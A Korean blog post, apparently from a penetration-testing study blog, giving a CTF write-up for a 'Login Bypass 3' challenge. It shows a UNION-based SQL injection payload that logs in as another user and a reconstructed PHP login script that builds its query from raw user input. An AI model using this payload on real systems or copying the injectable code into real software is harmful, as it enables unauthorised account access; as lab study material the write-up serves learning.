Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- php
- css
- union sql injection
- blind sql injection
- JS
- file upload
- lord of sqli
- 로그인페이지
- Reflected Xss
- MySQL
- 세션
- cors
- JWT
- 모의해킹
- XSS
- sql injection point
- CTF
- lord of sql injection
- Python
- sql injection
- 로그인
- Cross Site Request Forgery
- csrf
- 게시판 만들기
- 쿠키
- 과제
- 웹개발
- cookie 탈취
- Error based sql injection
- Los
Archives
- Today
- Total
Almon Dev
ctf 풀이 (Login Bypass 3) 본문
ctf 문제풀이
Login Bypass 3
풀이
1> doldol / dol1234로 로그인해봅니다.
2> 리피터를 통해서 sql injection 확인해 보기
id는 sql injection이 가능하고, password는 불가능합니다.
3> sql injection을 통해 가져오는 컬럼 개수 확인해보기 (컬럼은 2개)
ex) UserId=doldol' order by 2 desc#
4> 로그인 코드 예상해 보기
$sql = "select password,nickname from member where id='$input_id'";
if( $input_pass == $db_pass ) {
// 로그인
}
5> normaltic3로 로그인해보기 (union 사용)
UserId=doldol'+union+select+'normaltic3',+'1234'+order+by+2+desc#&Password=1234&Submit=Login
union은 selct를 여러번 할때 결과를 합쳐서 하나의 테이블로 만들어줍니다.
=> 컬럼의 개수가 동일해야 합니다.
sql 예상
select nickname, password from member
where id='doldol'
union select 'normaltic3', '1234' order by 2 asc#'
예상 sql 결과
index | 닉네임 | 비밀번호 |
0 | normaltic3 | 1234 |
1 | doldol | dol1234 |
order by 2 asc로 비밀번호를 기준으로 오름차순 정렬을 해서 normaltic3 닉네임이 위로 오게 만들었습니다.
로그인 php 코드 예상
<?php
$input_id = $_POST['UserId'];
$input_pass = $_POST['Password'];
$server_name = "localhost";
$username = "root";
$password = "";
$db_name = "test";
$conn = new mysqli($server_name, $username, $password, $db_name);
$sql = "select nickname, password from member where id='$input_id'";
$result = $conn->query($sql)->fetch_array(); // 첫번째 결과(row)를 받아옴
$db_pass = $result['password'];
$nickname = $result['nickname'];
if($input_pass == $db_pass) {
// 로그인 성공
echo $nickname;
}else {
// 로그인 실패
echo 'fail';
}
'모의해킹 > 모의해킹' 카테고리의 다른 글
ctf 풀이 (Secret Login) (2) | 2024.11.18 |
---|---|
ctf 풀이 (Login Bypass 4) (0) | 2024.11.18 |
모의해킹 공부 (5주차 정리) (1) | 2024.11.15 |
자바스크립트로 키로거 만들기 (2) | 2024.11.07 |
모의해킹 공부 (4주차 강의 정리) (2) | 2024.11.07 |